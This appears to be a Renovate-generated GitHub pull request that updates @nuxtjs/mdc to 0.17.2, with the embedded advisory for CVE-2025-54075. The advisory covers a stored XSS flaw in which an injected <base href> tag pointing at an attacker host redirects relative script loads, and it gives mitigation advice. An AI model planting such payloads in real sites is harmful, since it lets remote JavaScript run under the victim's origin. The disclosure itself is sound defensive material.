chore(deps): update dependency @nuxtjs/mdc to v0.17.2 [security] #633
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
0.17.0
->0.17.2
GitHub Vulnerability Alerts
CVE-2025-54075
Summary
A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a
<base href="https://attacker.tld">
element.The
<base>
tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.Details
src/runtime/parser/utils/props.ts
validateProp()
inspectson
→ blockedhref
orsrc
→ filtered byisAnchorLinkAllowed()
Every other attribute and every tag (including
<base>
) is allowed unchanged, so the malicioushref
on<base>
is never validated.As soon as
<base href="https://vozec.fr">
is parsed, any later relative path—/script.js
,../img.png
, etc.—is fetched from the attacker’s domain.Proof of Concept
Place the following in any Markdown handled by Nuxt MDC:
npm run dev
).https://vozec.fr/xss.js
, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).Impact
Recommendations
<base>
tags in the renderer. The safest fix is to strip them entirely.href
on<base>
to same-origin URLs and refuse protocols likehttp:
,https:
,data:
, etc. that do not match the current site origin.FORBID_TAGS: ['base']
.Release Notes
nuxt-modules/mdc (@nuxtjs/mdc)
v0.17.2
Compare Source
compare changes
🏡 Chore
✅ Tests
❤️ Contributors
v0.17.1
Compare Source
compare changes
🩹 Fixes
🏡 Chore
❤️ Contributors
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.